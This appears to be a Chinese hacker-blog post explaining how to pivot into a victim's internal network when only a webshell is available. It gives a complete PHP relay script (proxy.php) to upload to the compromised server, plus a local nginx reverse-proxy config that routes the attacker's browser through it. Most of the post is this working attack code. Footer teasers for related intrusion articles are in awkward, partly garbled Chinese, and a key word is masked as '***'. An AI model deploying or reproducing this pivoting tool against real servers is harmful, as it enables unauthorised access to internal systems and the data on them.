只有webshell,一样可以做 *** ,如何使用脚本程序做 ***

hacker4年前黑客文章862
有时候要 *** 进内网,但是服务器没有外网端口,也没法执行命令反弹lcx什么的,也没有提权什么什么的,只有一个webshell,这个时候就比较蛋疼了。

鄙人不才,写了一个比较山寨的php+nginx反向 *** ,可以比较容易的实现这个功能。

架设起来也算是比较方便了。就把这个用webshell也好,上传漏洞也好,甩到对方服务器上。

然后配置一下本地的nginx,做一个反向 *** +rewrite就OK。

先看代码

proxy.php

<?php
if(!isset($_GET['url'])){
  exit(0);
}
$ch = curl_init();
$url=$_GET['url'];
if(strstr($url,'?')){
  $url.='&';
}
else{
  $url.='?';
}
unset($_GET['url']);
foreach($_GET as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $url=$url.'&'.$Key.'='.urlencode($Val);
}
$cookie='';
foreach($_COOKIE as $Key=>$Val){
  if(get_magic_quotes_gpc()){
    $Val=stripslashes($Val);
  }
  $cookie=$cookie.$Key.'='.urlencode($Val).'; ';
}
if($_SERVER['REQUEST_METHOD']=="POST"){
  curl_setopt($ch, CURLOPT_POST, 1);
  $post_data='';
  foreach($_POST as $Key=>$Val){
    if(get_magic_quotes_gpc()){
      $Val=stripslashes($Val);
    }
    $post_data=$post_data.'&'.$Key.'='.urlencode($Val);
  }
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
curl_setopt($ch, CURLOPT_HEADER, TRUE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
if(isset($_SERVER['HTTP_REFERER'])){
  curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']);
}
$Response=curl_exec($ch);
if(!$Response){
  curl_close($ch);
  exit(0);
}
$HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE);
$Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE));
$Headers=split("\r\n",$Header);
foreach($Headers as $ThusHead){
  if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){
     continue;
  }
  header($ThusHead,FALSE);
}
echo $Body;
curl_close($ch);
?>
代码很简单,也有一些简单的小bug,不知各位看官看出来没有,我也懒得去修改了。

另外就是:

1. 这个 *** 只支持基本的GET/POST并不支持上传文件,有兴趣的可以自己看看,搞搞,搞完发出来,造福大家

2. 这个 *** 在转发post请求的时候,用的并不是www-url-encode,所以,也许会有的程序识别不正常

然后在本地的nginx里面新加一个配置

# proxy webshell
    server {
        listen          这里写监听端口;
        location ~ () {
                proxy_pass              http://webshell的IP/文件/存放/目录/proxy.php?url=http://$host/$request_uri;
                 proxy_set_header        Host    "访问webshell用域名";
        }
    }
然后重新加载一下nginx配置,配置浏览器使用nginx监听的端口做为 *** ,就可以使了。

给个效果图。

标签: 黑客技术

相关文章

UbertoothOne是一款开源系统手机蓝牙扫描仪嗅探器

UbertoothOne是一款开源系统手机蓝牙扫描仪嗅探器

Ubertooth One是一款开源系统手机蓝牙扫描仪嗅探器,当然,还可以扫描仪网络嗅探低能耗手机蓝牙,Ubertooth One是适用手机蓝牙试验的开源系统2.4 GHz无线网络软件开发平台。 手...

什么叫webshell?

什么叫webshell?

getshell这儿一般 就是指获得webshell管理权限等这种。   什么叫webshell? webshell便是以asp、php、jsp或是cgi等网页源代码方式存有的一种指令实行...

Ewebeidtor编辑器漏洞

Ewebeidtor编辑器漏洞

一、Ewebeidtor编辑器漏洞 eWebEditor是根据电脑浏览器的、眼见为实的线上HTML在线编辑器。它可以在网页页面上完成很多桌面上编辑软件(如:Word)所具备的强劲可视性编写作用。 &...

高级入侵防御系统自然环境

高级入侵防御系统自然环境

Advanced Intrusion Detection Environment 翻译中文也叫:高級入侵防御系统自然环境;   什么叫高級入侵防御系统自然环境? 高級入侵防御系统自然环境(...

中国蚁剑是一款开源系统的混合开发网址可视化工具,它关键朝向于

中国蚁剑是一款开源系统的混合开发网址可视化工具,它关键朝向于

中国蚁剑是一款开源系统的混合开发网址可视化工具,它关键朝向于合理合法受权的网站渗透测试安全性工作人员及其开展基本实际操作的系统管理员。   通俗化的讲:中国蚁剑是 一 款比水果刀还牛的sh...

新手Web渗透教程第一课:数据库漏洞(SQL注入)环境搭建

新手Web渗透教程第一课:数据库漏洞(SQL注入)环境搭建

我们在第二季第一篇文章内容里《新手Web渗透教程 第一课:数据库漏洞(SQL注入)环境搭建/测试》结构了一个mysql php留言本的系统漏洞自然环境,   大家就为此自然环境为例子来解读...